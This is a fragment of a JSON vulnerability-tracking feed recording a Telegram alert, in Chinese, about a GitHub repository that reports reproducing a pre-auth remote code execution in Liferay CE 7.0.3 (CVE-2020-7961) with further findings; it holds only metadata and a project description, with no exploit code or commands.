"Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "content": "", "creation_timestamp": "2026-07-29T00:00:26.786795Z"}, {"uuid": "3a057169-8201-4859-9d04-81200670e662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95510", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a liferay-ga4-rce-research\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 10:31:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity research on Liferay CE 7.0.3 GA4: pre-auth RCE as root (CVE-2020-7961 class) reproduced end-to-end, plus 16 more findings \u2014 8+ with no known CVE. Agentic loop-hunt: 25 generators, 22 judges, 9 live validators on Docker. Evidence trail + one-go checker included.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T00:00:37.144818Z"}]}